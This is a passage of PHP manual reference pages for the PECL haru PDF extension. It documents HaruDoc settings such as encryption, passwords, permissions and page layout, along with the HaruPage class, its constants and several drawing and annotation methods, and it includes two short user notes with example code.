  • HaruDoc::COMP_NONE - all contents is not compressed.
  • HaruDoc::COMP_TEXT - compress the text data.
  • HaruDoc::COMP_IMAGE - compress the image data.
  • HaruDoc::COMP_METADATA - compress other data (fonts, cmaps).
  • HaruDoc::COMP_ALL - compress all data.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set the current encoder for the document

  • « HaruDoc::setCompressionMode
  • HaruDoc::setEncryptionMode »
  • PHP Manual
  • HaruDoc
  • Set the current encoder for the document

HaruDoc::setCurrentEncoder

(PECL haru >= 0.0.1)

HaruDoc::setCurrentEncoder — Set the current encoder for the document

Description

bool HaruDoc::setCurrentEncoder ( string $encoding )

Defines the encoder currently used in the document.

Parameters

encoding

The name of the encoding to use. See Builtin Encodings for the list of allowed values.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set encryption mode for the document

  • « HaruDoc::setCurrentEncoder
  • HaruDoc::setInfoAttr »
  • PHP Manual
  • HaruDoc
  • Set encryption mode for the document

HaruDoc::setEncryptionMode

(PECL haru >= 0.0.1)

HaruDoc::setEncryptionMode — Set encryption mode for the document

Description

bool HaruDoc::setEncryptionMode ( int $mode [, int $key_len = 5 ] )

Defines encryption mode for the document. The encryption mode cannot be set before setting the password.

Parameters

mode

The encryption mode to use. Can be one of the following:

  • HaruDoc::ENCRYPT_R2 - use "revision2" algorithm.
  • HaruDoc::ENCRYPT_R3 - use "revision3" algorithm. Using this value bumps the version of PDF to 1.4.

key_len

The encryption key length in bytes. This parameter is optional and used only when mode is HaruDoc::ENCRYPT_R3. The default value is 5 (40bit).

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPassword() - Set owner and user passwords for the document
  • HaruDoc::setPermission() - Set permissions for the document

User Contributed Notes

There are no user contributed notes for this page.


Set the info attribute of the document

  • « HaruDoc::setEncryptionMode
  • HaruDoc::setInfoDateAttr »
  • PHP Manual
  • HaruDoc
  • Set the info attribute of the document

HaruDoc::setInfoAttr

(PECL haru >= 0.0.1)

HaruDoc::setInfoAttr — Set the info attribute of the document

Description

bool HaruDoc::setInfoAttr ( int $type , string $info )

Defines an info attribute. Uses the current encoding of the document.

Parameters

type

The type of the attribute. Can be one of the following:

  • HaruDoc::INFO_AUTHOR
  • HaruDoc::INFO_CREATOR
  • HaruDoc::INFO_TITLE
  • HaruDoc::INFO_SUBJECT
  • HaruDoc::INFO_KEYWORDS

info

The value of the attribute.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoDateAttr() - Set the datetime info attributes of the document

User Contributed Notes

There are no user contributed notes for this page.


Set the datetime info attributes of the document

  • « HaruDoc::setInfoAttr
  • HaruDoc::setOpenAction »
  • PHP Manual
  • HaruDoc
  • Set the datetime info attributes of the document

HaruDoc::setInfoDateAttr

(PECL haru >= 0.0.1)

HaruDoc::setInfoDateAttr — Set the datetime info attributes of the document

Description

bool HaruDoc::setInfoDateAttr ( int $type , int $year , int $month , int $day , int $hour , int $min , int $sec , string $ind , int $off_hour , int $off_min )

Sets the datetime info attributes of the document.

Parameters

type

The type of the attribute. Can be one of the following:

  • HaruDoc::INFO_CREATION_DATE
  • HaruDoc::INFO_MOD_DATE

year

month

Between 1 and 12.

day

Between 1 and 31, 30, 29 or 28 (different for each month).

hour

Between 0 and 23.

min

Between 0 and 59.

sec

Between 0 and 59.

ind

The timezone relation to UTC, can be "", " ", "+", "-" and "Z".

off_hour

If ind is not " " or "", values between 0 and 23 are valid. Otherwise, this parameter is ignored.

off_min

If ind is not " " or "", values between 0 and 59 are valid. Otherwise, this parameter is ignored.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setInfoAttr() - Set the info attribute of the document

User Contributed Notes

There are no user contributed notes for this page.


Define which page is shown when the document is opened

  • « HaruDoc::setInfoDateAttr
  • HaruDoc::setPageLayout »
  • PHP Manual
  • HaruDoc
  • Define which page is shown when the document is opened

HaruDoc::setOpenAction

(PECL haru >= 0.0.1)

HaruDoc::setOpenAction — Define which page is shown when the document is opened

Description

bool HaruDoc::setOpenAction ( object $destination )

Defines which page should be shown when the document is opened.

Parameters

destination

A valid HaruDestination instance.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set how pages should be displayed

  • « HaruDoc::setOpenAction
  • HaruDoc::setPageMode »
  • PHP Manual
  • HaruDoc
  • Set how pages should be displayed

HaruDoc::setPageLayout

(PECL haru >= 0.0.1)

HaruDoc::setPageLayout — Set how pages should be displayed

Description

bool HaruDoc::setPageLayout ( int $layout )

Defines how pages should be displayed.

Parameters

layout

The following values are accepted:

  • HaruDoc::PAGE_LAYOUT_SINGLE - only one page is displayed.
  • HaruDoc::PAGE_LAYOUT_ONE_COLUMN - display the pages in one column.
  • HaruDoc::PAGE_LAYOUT_TWO_COLUMN_LEFT - display pages in two columns, first page left.
  • HaruDoc::PAGE_LAYOUT_TWO_COLUMN_RIGHT - display pages in two columns, first page right.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getPageLayout() - Get current page layout

User Contributed Notes

There are no user contributed notes for this page.


Set how the document should be displayed

  • « HaruDoc::setPageLayout
  • HaruDoc::setPagesConfiguration »
  • PHP Manual
  • HaruDoc
  • Set how the document should be displayed

HaruDoc::setPageMode

(PECL haru >= 0.0.1)

HaruDoc::setPageMode — Set how the document should be displayed

Description

bool HaruDoc::setPageMode ( int $mode )

Defines how the document should be displayed.

Parameters

mode

The following values are accepted:

  • HaruDoc::PAGE_MODE_USE_NONE - display the document with neither outline nor thumbnail.
  • HaruDoc::PAGE_MODE_USE_OUTLINE - display the document with outline pane.
  • HaruDoc::PAGE_MODE_USE_THUMBS - display the document with thumbnail pane.
  • HaruDoc::PAGE_MODE_FULL_SCREEN - display the document with full screen mode.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::getPageMode() - Get current page mode

User Contributed Notes

There are no user contributed notes for this page.


Set the number of pages per set of pages

  • « HaruDoc::setPageMode
  • HaruDoc::setPassword »
  • PHP Manual
  • HaruDoc
  • Set the number of pages per set of pages

HaruDoc::setPagesConfiguration

(PECL haru >= 0.0.1)

HaruDoc::setPagesConfiguration — Set the number of pages per set of pages

Description

bool HaruDoc::setPagesConfiguration ( int $page_per_pages )

By default the document has one pages object as a root for all pages. All page objects are create as branches of this object. One pages object can contain only 8191, therefore the maximum number of pages per document is 8191. But you can change that fact by setting page_per_pages parameter, so that the root pages object contains 8191 more pages (not page) objects, which in turn contain 8191 pages each. So the maximum number of pages in the document becomes 8191*page_per_pages.

Parameters

page_per_pages

The numbers of pages that a pages object can contain.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Set owner and user passwords for the document

  • « HaruDoc::setPagesConfiguration
  • HaruDoc::setPermission »
  • PHP Manual
  • HaruDoc
  • Set owner and user passwords for the document

HaruDoc::setPassword

(PECL haru >= 0.0.1)

HaruDoc::setPassword — Set owner and user passwords for the document

Description

bool HaruDoc::setPassword ( string $owner_password , string $user_password )

Defines owner and user passwords for the document. Setting the passwords makes the document contents encrypted.

Parameters

owner_password

The password of the owner, which can change permissions of the document. Empty password is not accepted. Owner's password cannot be the same as the user's password.

user_password

The password of the user. Can be empty.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setEncryptionMode() - Set encryption mode for the document
  • HaruDoc::setPermission() - Set permissions for the document

User Contributed Notes

There are no user contributed notes for this page.


Set permissions for the document

  • « HaruDoc::setPassword
  • HaruDoc::useCNSEncodings »
  • PHP Manual
  • HaruDoc
  • Set permissions for the document

HaruDoc::setPermission

(PECL haru >= 0.0.1)

HaruDoc::setPermission — Set permissions for the document

Description

bool HaruDoc::setPermission ( int $permission )

Defines permissions for the document.

Parameters

permission

The values is a combination of these flags:

  • HaruDoc::ENABLE_READ - user can read the document.
  • HaruDoc::ENABLE_PRINT - user can print the document.
  • HaruDoc::ENABLE_EDIT_ALL - user can edit the contents of the document other than annotations and form fields.
  • HaruDoc::ENABLE_COPY - user can copy the text and the graphics of the document.
  • HaruDoc::ENABLE_EDIT - user can add or modify the annotations and form fields of the document.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::setPassword() - Set owner and user passwords for the document
  • HaruDoc::setEncryptionMode() - Set encryption mode for the document

User Contributed Notes

There are no user contributed notes for this page.


Enable Chinese simplified encodings

  • « HaruDoc::setPermission
  • HaruDoc::useCNSFonts »
  • PHP Manual
  • HaruDoc
  • Enable Chinese simplified encodings

HaruDoc::useCNSEncodings

(PECL haru >= 0.0.1)

HaruDoc::useCNSEncodings — Enable Chinese simplified encodings

Description

bool HaruDoc::useCNSEncodings ( void )

Enables Chinese simplified encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNSFonts() - Enable builtin Chinese simplified fonts

User Contributed Notes

There are no user contributed notes for this page.


Enable builtin Chinese simplified fonts

  • « HaruDoc::useCNSEncodings
  • HaruDoc::useCNTEncodings »
  • PHP Manual
  • HaruDoc
  • Enable builtin Chinese simplified fonts

HaruDoc::useCNSFonts

(PECL haru >= 0.0.1)

HaruDoc::useCNSFonts — Enable builtin Chinese simplified fonts

Description

bool HaruDoc::useCNSFonts ( void )

Enables builtin Chinese simplified fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNSEncodings() - Enable Chinese simplified encodings

User Contributed Notes

There are no user contributed notes for this page.


Enable Chinese traditional encodings

  • « HaruDoc::useCNSFonts
  • HaruDoc::useCNTFonts »
  • PHP Manual
  • HaruDoc
  • Enable Chinese traditional encodings

HaruDoc::useCNTEncodings

(PECL haru >= 0.0.1)

HaruDoc::useCNTEncodings — Enable Chinese traditional encodings

Description

bool HaruDoc::useCNTEncodings ( void )

Enables Chinese traditional encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNTFonts() - Enable builtin Chinese traditional fonts

User Contributed Notes

There are no user contributed notes for this page.


Enable builtin Chinese traditional fonts

  • « HaruDoc::useCNTEncodings
  • HaruDoc::useJPEncodings »
  • PHP Manual
  • HaruDoc
  • Enable builtin Chinese traditional fonts

HaruDoc::useCNTFonts

(PECL haru >= 0.0.1)

HaruDoc::useCNTFonts — Enable builtin Chinese traditional fonts

Description

bool HaruDoc::useCNTFonts ( void )

Enables builtin Chinese traditional fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useCNTEncodings() - Enable Chinese traditional encodings

User Contributed Notes

There are no user contributed notes for this page.


Enable Japanese encodings

  • « HaruDoc::useCNTFonts
  • HaruDoc::useJPFonts »
  • PHP Manual
  • HaruDoc
  • Enable Japanese encodings

HaruDoc::useJPEncodings

(PECL haru >= 0.0.1)

HaruDoc::useJPEncodings — Enable Japanese encodings

Description

bool HaruDoc::useJPEncodings ( void )

Enables Japanese encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useJPFonts() - Enable builtin Japanese fonts

User Contributed Notes

There are no user contributed notes for this page.


Enable builtin Japanese fonts

  • « HaruDoc::useJPEncodings
  • HaruDoc::useKREncodings »
  • PHP Manual
  • HaruDoc
  • Enable builtin Japanese fonts

HaruDoc::useJPFonts

(PECL haru >= 0.0.1)

HaruDoc::useJPFonts — Enable builtin Japanese fonts

Description

bool HaruDoc::useJPFonts ( void )

Enables builtin Japanese fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useJPEncodings() - Enable Japanese encodings

User Contributed Notes

There are no user contributed notes for this page.


Enable Korean encodings

  • « HaruDoc::useJPFonts
  • HaruDoc::useKRFonts »
  • PHP Manual
  • HaruDoc
  • Enable Korean encodings

HaruDoc::useKREncodings

(PECL haru >= 0.0.1)

HaruDoc::useKREncodings — Enable Korean encodings

Description

bool HaruDoc::useKREncodings ( void )

Enables Korean encodings.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useKRFonts() - Enable builtin Korean fonts

User Contributed Notes

There are no user contributed notes for this page.


Enable builtin Korean fonts

  • « HaruDoc::useKREncodings
  • HaruPage »
  • PHP Manual
  • HaruDoc
  • Enable builtin Korean fonts

HaruDoc::useKRFonts

(PECL haru >= 0.0.1)

HaruDoc::useKRFonts — Enable builtin Korean fonts

Description

bool HaruDoc::useKRFonts ( void )

Enables builtin Korean fonts.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

See Also

  • HaruDoc::useKREncodings() - Enable Korean encodings

User Contributed Notes

There are no user contributed notes for this page.


The HaruPage class

(PECL haru >= 0.0.1)

Introduction

Haru PDF Page Class.

Class synopsis

HaruPage {
/* Methods */
bool arc ( float $x , float $y , float $ray , float $ang1 , float $ang2 )
bool beginText ( void )
bool circle ( float $x , float $y , float $ray )
bool closePath ( void )
bool concat ( float $a , float $b , float $c , float $d , float $x , float $y )
object createDestination ( void )
object createLinkAnnotation ( array $rectangle , object $destination )
object createTextAnnotation ( array $rectangle , string $text [, object $encoder ] )
object createURLAnnotation ( array $rectangle , string $url )
bool curveTo2 ( float $x2 , float $y2 , float $x3 , float $y3 )
bool curveTo3 ( float $x1 , float $y1 , float $x3 , float $y3 )
bool curveTo ( float $x1 , float $y1 , float $x2 , float $y2 , float $x3 , float $y3 )
bool drawImage ( object $image , float $x , float $y , float $width , float $height )
bool ellipse ( float $x , float $y , float $xray , float $yray )
bool endPath ( void )
bool endText ( void )
bool eofill ( void )
bool eoFillStroke ([ bool $close_path = false ] )
bool fill ( void )
bool fillStroke ([ bool $close_path = false ] )
float getCharSpace ( void )
array getCMYKFill ( void )
array getCMYKStroke ( void )
object getCurrentFont ( void )
float getCurrentFontSize ( void )
array getCurrentPos ( void )
array getCurrentTextPos ( void )
array getDash ( void )
int getFillingColorSpace ( void )
float getFlatness ( void )
int getGMode ( void )
float getGrayFill ( void )
float getGrayStroke ( void )
float getHeight ( void )
float getHorizontalScaling ( void )
int getLineCap ( void )
int getLineJoin ( void )
float getLineWidth ( void )
float getMiterLimit ( void )
array getRGBFill ( void )
array getRGBStroke ( void )
int getStrokingColorSpace ( void )
float getTextLeading ( void )
array getTextMatrix ( void )
int getTextRenderingMode ( void )
float getTextRise ( void )
float getTextWidth ( string $text )
array getTransMatrix ( void )
float getWidth ( void )
float getWordSpace ( void )
bool lineTo ( float $x , float $y )
int measureText ( string $text , float $width [, bool $wordwrap = false ] )
bool moveTextPos ( float $x , float $y [, bool $set_leading = false ] )
bool moveTo ( float $x , float $y )
bool moveToNextLine ( void )
bool rectangle ( float $x , float $y , float $width , float $height )
bool setCharSpace ( float $char_space )
bool setCMYKFill ( float $c , float $m , float $y , float $k )
bool setCMYKStroke ( float $c , float $m , float $y , float $k )
bool setDash ( array $pattern , int $phase )
bool setFlatness ( float $flatness )
bool setFontAndSize ( object $font , float $size )
bool setGrayFill ( float $value )
bool setGrayStroke ( float $value )
bool setHeight ( float $height )
bool setHorizontalScaling ( float $scaling )
bool setLineCap ( int $cap )
bool setLineJoin ( int $join )
bool setLineWidth ( float $width )
bool setMiterLimit ( float $limit )
bool setRGBFill ( float $r , float $g , float $b )
bool setRGBStroke ( float $r , float $g , float $b )
bool setRotate ( int $angle )
bool setSize ( int $size , int $direction )
bool setSlideShow ( int $type , float $disp_time , float $trans_time )
bool setTextLeading ( float $text_leading )
bool setTextMatrix ( float $a , float $b , float $c , float $d , float $x , float $y )
bool setTextRenderingMode ( int $mode )
bool setTextRise ( float $rise )
bool setWidth ( float $width )
bool setWordSpace ( float $word_space )
bool showText ( string $text )
bool showTextNextLine ( string $text [, float $word_space = 0 [, float $char_space = 0 ]] )
bool stroke ([ bool $close_path = false ] )
bool textOut ( float $x , float $y , string $text )
bool textRect ( float $left , float $top , float $right , float $bottom , string $text [, int $align = HaruPage::TALIGN_LEFT ] )
}

Predefined Constants

Type | Name | Description
int | HaruPage::GMODE_PAGE_DESCRIPTION |
int | HaruPage::GMODE_TEXT_OBJECT |
int | HaruPage::GMODE_PATH_OBJECT |
int | HaruPage::GMODE_CLIPPING_PATH |
int | HaruPage::GMODE_SHADING |
int | HaruPage::GMODE_INLINE_IMAGE |
int | HaruPage::GMODE_EXTERNAL_OBJECT |
int | HaruPage::BUTT_END |
int | HaruPage::ROUND_END |
int | HaruPage::PROJECTING_SCUARE_END |
int | HaruPage::MITER_JOIN |
int | HaruPage::ROUND_JOIN |
int | HaruPage::BEVEL_JOIN |
int | HaruPage::FILL |
int | HaruPage::STROKE |
int | HaruPage::FILL_THEN_STROKE |
int | HaruPage::INVISIBLE |
int | HaruPage::FILL_CLIPPING |
int | HaruPage::STROKE_CLIPPING |
int | HaruPage::FILL_STROKE_CLIPPING |
int | HaruPage::CLIPPING |
int | HaruPage::TALIGN_LEFT |
int | HaruPage::TALIGN_RIGHT |
int | HaruPage::TALIGN_CENTER |
int | HaruPage::TALIGN_JUSTIFY |
int | HaruPage::SIZE_LETTER |
int | HaruPage::SIZE_LEGAL |
int | HaruPage::SIZE_A3 |
int | HaruPage::SIZE_A4 |
int | HaruPage::SIZE_A5 |
int | HaruPage::SIZE_B4 |
int | HaruPage::SIZE_B5 |
int | HaruPage::SIZE_EXECUTIVE |
int | HaruPage::SIZE_US4x6 |
int | HaruPage::SIZE_US4x8 |
int | HaruPage::SIZE_US5x7 |
int | HaruPage::SIZE_COMM10 |
int | HaruPage::PORTRAIT |
int | HaruPage::LANDSCAPE |
int | HaruPage::TS_WIPE_LIGHT |
int | HaruPage::TS_WIPE_UP |
int | HaruPage::TS_WIPE_LEFT |
int | HaruPage::TS_WIPE_DOWN |
int | HaruPage::TS_BARN_DOORS_HORIZONTAL_OUT |
int | HaruPage::TS_BARN_DOORS_HORIZONTAL_IN |
int | HaruPage::TS_BARN_DOORS_VERTICAL_OUT |
int | HaruPage::TS_BARN_DOORS_VERTICAL_IN |
int | HaruPage::TS_BOX_OUT |
int | HaruPage::TS_BOX_IN |
int | HaruPage::TS_BLINDS_HORIZONTAL |
int | HaruPage::TS_BLINDS_VERTICAL |
int | HaruPage::TS_DISSOLVE |
int | HaruPage::TS_GLITTER_RIGHT |
int | HaruPage::TS_GLITTER_DOWN |
int | HaruPage::TS_GLITTER_TOP_LEFT_TO_BOTTOM_RIGHT |
int | HaruPage::TS_REPLACE |
int | HaruPage::NUM_STYLE_DECIMAL |
int | HaruPage::NUM_STYLE_UPPER_ROMAN |
int | HaruPage::NUM_STYLE_LOWER_ROMAN |
int | HaruPage::NUM_STYLE_UPPER_LETTERS |
int | HaruPage::NUM_STYLE_LOWER_LETTERS |

Table of Contents

  • HaruPage::arc — Append an arc to the current path
  • HaruPage::beginText — Begin a text object and set the current text position to (0,0)
  • HaruPage::circle — Append a circle to the current path
  • HaruPage::closePath — Append a straight line from the current point to the start point of the path
  • HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix
  • HaruPage::createDestination — Create new HaruDestination instance
  • HaruPage::createLinkAnnotation — Create new HaruAnnotation instance
  • HaruPage::createTextAnnotation — Create new HaruAnnotation instance
  • HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance
  • HaruPage::curveTo2 — Append a Bezier curve to the current path
  • HaruPage::curveTo3 — Append a Bezier curve to the current path
  • HaruPage::curveTo — Append a Bezier curve to the current path
  • HaruPage::drawImage — Show image at the page
  • HaruPage::ellipse — Append an ellipse to the current path
  • HaruPage::endPath — End current path object without filling and painting operations
  • HaruPage::endText — End current text object
  • HaruPage::eofill — Fill current path using even-odd rule
  • HaruPage::eoFillStroke — Fill current path using even-odd rule, then paint the path
  • HaruPage::fill — Fill current path using nonzero winding number rule
  • HaruPage::fillStroke — Fill current path using nonzero winding number rule, then paint the path
  • HaruPage::getCharSpace — Get the current value of character spacing
  • HaruPage::getCMYKFill — Get the current filling color
  • HaruPage::getCMYKStroke — Get the current stroking color
  • HaruPage::getCurrentFont — Get the currently used font
  • HaruPage::getCurrentFontSize — Get the current font size
  • HaruPage::getCurrentPos — Get the current position for path painting
  • HaruPage::getCurrentTextPos — Get the current position for text printing
  • HaruPage::getDash — Get the current dash pattern
  • HaruPage::getFillingColorSpace — Get the current filling color space
  • HaruPage::getFlatness — Get the flatness of the page
  • HaruPage::getGMode — Get the current graphics mode
  • HaruPage::getGrayFill — Get the current filling color
  • HaruPage::getGrayStroke — Get the current stroking color
  • HaruPage::getHeight — Get the height of the page
  • HaruPage::getHorizontalScaling — Get the current value of horizontal scaling
  • HaruPage::getLineCap — Get the current line cap style
  • HaruPage::getLineJoin — Get the current line join style
  • HaruPage::getLineWidth — Get the current line width
  • HaruPage::getMiterLimit — Get the value of miter limit
  • HaruPage::getRGBFill — Get the current filling color
  • HaruPage::getRGBStroke — Get the current stroking color
  • HaruPage::getStrokingColorSpace — Get the current stroking color space
  • HaruPage::getTextLeading — Get the current value of line spacing
  • HaruPage::getTextMatrix — Get the current text transformation matrix of the page
  • HaruPage::getTextRenderingMode — Get the current text rendering mode
  • HaruPage::getTextRise — Get the current value of text rising
  • HaruPage::getTextWidth — Get the width of the text using current fontsize, character spacing and word spacing
  • HaruPage::getTransMatrix — Get the current transformation matrix of the page
  • HaruPage::getWidth — Get the width of the page
  • HaruPage::getWordSpace — Get the current value of word spacing
  • HaruPage::lineTo — Draw a line from the current point to the specified point
  • HaruPage::measureText — Calculate the number of characters which can be included within the specified width
  • HaruPage::moveTextPos — Move text position to the specified offset
  • HaruPage::moveTo — Set starting point for new drawing path
  • HaruPage::moveToNextLine — Move text position to the start of the next line
  • HaruPage::rectangle — Append a rectangle to the current path
  • HaruPage::setCharSpace — Set character spacing for the page
  • HaruPage::setCMYKFill — Set filling color for the page
  • HaruPage::setCMYKStroke — Set stroking color for the page
  • HaruPage::setDash — Set the dash pattern for the page
  • HaruPage::setFlatness — Set flatness for the page
  • HaruPage::setFontAndSize — Set font and fontsize for the page
  • HaruPage::setGrayFill — Set filling color for the page
  • HaruPage::setGrayStroke — Sets stroking color for the page
  • HaruPage::setHeight — Set height of the page
  • HaruPage::setHorizontalScaling — Set horizontal scaling for the page
  • HaruPage::setLineCap — Set the shape to be used at the ends of lines
  • HaruPage::setLineJoin — Set line join style for the page
  • HaruPage::setLineWidth — Set line width for the page
  • HaruPage::setMiterLimit — Set the current value of the miter limit of the page
  • HaruPage::setRGBFill — Set filling color for the page
  • HaruPage::setRGBStroke — Set stroking color for the page
  • HaruPage::setRotate — Set rotation angle of the page
  • HaruPage::setSize — Set size and direction of the page
  • HaruPage::setSlideShow — Set transition style for the page
  • HaruPage::setTextLeading — Set text leading (line spacing) for the page
  • HaruPage::setTextMatrix — Set the current text transformation matrix of the page
  • HaruPage::setTextRenderingMode — Set text rendering mode for the page
  • HaruPage::setTextRise — Set the current value of text rising
  • HaruPage::setWidth — Set width of the page
  • HaruPage::setWordSpace — Set word spacing for the page
  • HaruPage::showText — Print text at the current position of the page
  • HaruPage::showTextNextLine — Move the current position to the start of the next line and print the text
  • HaruPage::stroke — Paint current path
  • HaruPage::textOut — Print the text on the specified position
  • HaruPage::textRect — Print the text inside the specified region

User Contributed Notes

There are no user contributed notes for this page.


Append an arc to the current path

  • « HaruPage
  • HaruPage::beginText »
  • PHP Manual
  • HaruPage
  • Append an arc to the current path

HaruPage::arc

(PECL haru >= 0.0.1)

HaruPage::arc — Append an arc to the current path

Description

bool HaruPage::arc ( float $x , float $y , float $ray , float $ang1 , float $ang2 )

Appends an arc to the current path.

Parameters

x

Horizontal coordinate of the center.

y

Vertical coordinate of the center.

ray

The ray of the arc.

ang1

The angle of the beginning.

ang2

The angle of the end. Must be greater than ang1.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Begin a text object and set the current text position to (0,0)

  • « HaruPage::arc
  • HaruPage::circle »
  • PHP Manual
  • HaruPage
  • Begin a text object and set the current text position to (0,0)

HaruPage::beginText

(PECL haru >= 0.0.1)

HaruPage::beginText — Begin a text object and set the current text position to (0,0)

Description

bool HaruPage::beginText ( void )

Begins new text object and sets the current text position to (0,0).

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Append a circle to the current path

  • « HaruPage::beginText
  • HaruPage::closePath »
  • PHP Manual
  • HaruPage
  • Append a circle to the current path

HaruPage::circle

(PECL haru >= 0.0.1)

HaruPage::circle — Append a circle to the current path

Description

bool HaruPage::circle ( float $x , float $y , float $ray )

Appends a circle to the current path.

Parameters

x

Horizontal coordinate of the center point.

y

Vertical coordinate of the center point.

ray

The ray of the circle.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Append a straight line from the current point to the start point of the path

  • « HaruPage::circle
  • HaruPage::concat »
  • PHP Manual
  • HaruPage
  • Append a straight line from the current point to the start point of the path

HaruPage::closePath

(PECL haru >= 0.0.1)

HaruPage::closePath — Append a straight line from the current point to the start point of the path

Description

bool HaruPage::closePath ( void )

Appends a straight line from the current point to the start point of the path.

Parameters

This function has no parameters.

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Concatenate current transformation matrix of the page and the specified matrix

  • « HaruPage::closePath
  • HaruPage::createDestination »
  • PHP Manual
  • HaruPage
  • Concatenate current transformation matrix of the page and the specified matrix

HaruPage::concat

(PECL haru >= 0.0.1)

HaruPage::concat — Concatenate current transformation matrix of the page and the specified matrix

Description

bool HaruPage::concat ( float $a , float $b , float $c , float $d , float $x , float $y )

Concatenates current transformation matrix of the page and the specified matrix.

Parameters

a

b

c

d

x

y

Return Values

Returns TRUE on success.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create new HaruDestination instance

  • « HaruPage::concat
  • HaruPage::createLinkAnnotation »
  • PHP Manual
  • HaruPage
  • Create new HaruDestination instance

HaruPage::createDestination

(PECL haru >= 0.0.1)

HaruPage::createDestination — Create new HaruDestination instance

Description

object HaruPage::createDestination ( void )

Create a new HaruDestination instance.

Parameters

This function has no parameters.

Return Values

Returns a new HaruDestination instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create new HaruAnnotation instance

  • « HaruPage::createDestination
  • HaruPage::createTextAnnotation »
  • PHP Manual
  • HaruPage
  • Create new HaruAnnotation instance

HaruPage::createLinkAnnotation

(PECL haru >= 0.0.1)

HaruPage::createLinkAnnotation — Create new HaruAnnotation instance

Description

object HaruPage::createLinkAnnotation ( array $rectangle , object $destination )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the clickable area.

destination

Valid HaruDestination instance.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create new HaruAnnotation instance

  • « HaruPage::createLinkAnnotation
  • HaruPage::createURLAnnotation »
  • PHP Manual
  • HaruPage
  • Create new HaruAnnotation instance

HaruPage::createTextAnnotation

(PECL haru >= 0.0.1)

HaruPage::createTextAnnotation — Create new HaruAnnotation instance

Description

object HaruPage::createTextAnnotation ( array $rectangle , string $text [, object $encoder ] )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the annotation area.

text

The text to be displayed.

encoder

Optional HaruEncoder instance.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

There are no user contributed notes for this page.


Create and return new HaruAnnotation instance

  • « HaruPage::createTextAnnotation
  • HaruPage::curveTo2 »
  • PHP Manual
  • HaruPage
  • Create and return new HaruAnnotation instance

HaruPage::createURLAnnotation

(PECL haru >= 0.0.1)

HaruPage::createURLAnnotation — Create and return new HaruAnnotation instance

Description

object HaruPage::createURLAnnotation ( array $rectangle , string $url )

Creates a new HaruAnnotation instance.

Parameters

rectangle

An array with 4 coordinates of the clickable area.

url

The URL to open.

Return Values

Returns a new HaruAnnotation instance.

Errors/Exceptions

Throws a HaruException on error.

User Contributed Notes

266073 at gmail dot com 13-Jul-2011 05:05
By default createURLAnnotation will create a cell with a solid border around it.  This is controlled by the haruAnnotation object returned by the method.  Create a reference to the haruAnnotation object and alter the border style to remove the solid border.

<?php
$haruAnotation = $currentHaruPage->createURLAnnotation(Array($leftX,$bottomY,$rightX,$topY),'http://'.$dataItem);
$haruAnotation->setBorderStyle(0, 0, 0); // this alters the border
?>
Kore 30-Jul-2009 10:01
Like shown in the source code [1] the array defining the rectangle should look like:

<?php
$rect = array(
    $bottomLeftXCoordinate,
    $bottomLeftYCoordinate,
    $topRightXCoordinate,
    $topRightYCoordinate,
);
?>

As always these values have to be given in "pt" (point, 72dpi).

[1] http://cvs.php.net/viewvc.cgi/pecl/haru/haru.c?view=markup#l701


Append a Bezier curve to the current path

  • « HaruPage::createURLAnnotation
  • HaruPage::curveTo3 »
  • PHP Manual
  • HaruPage
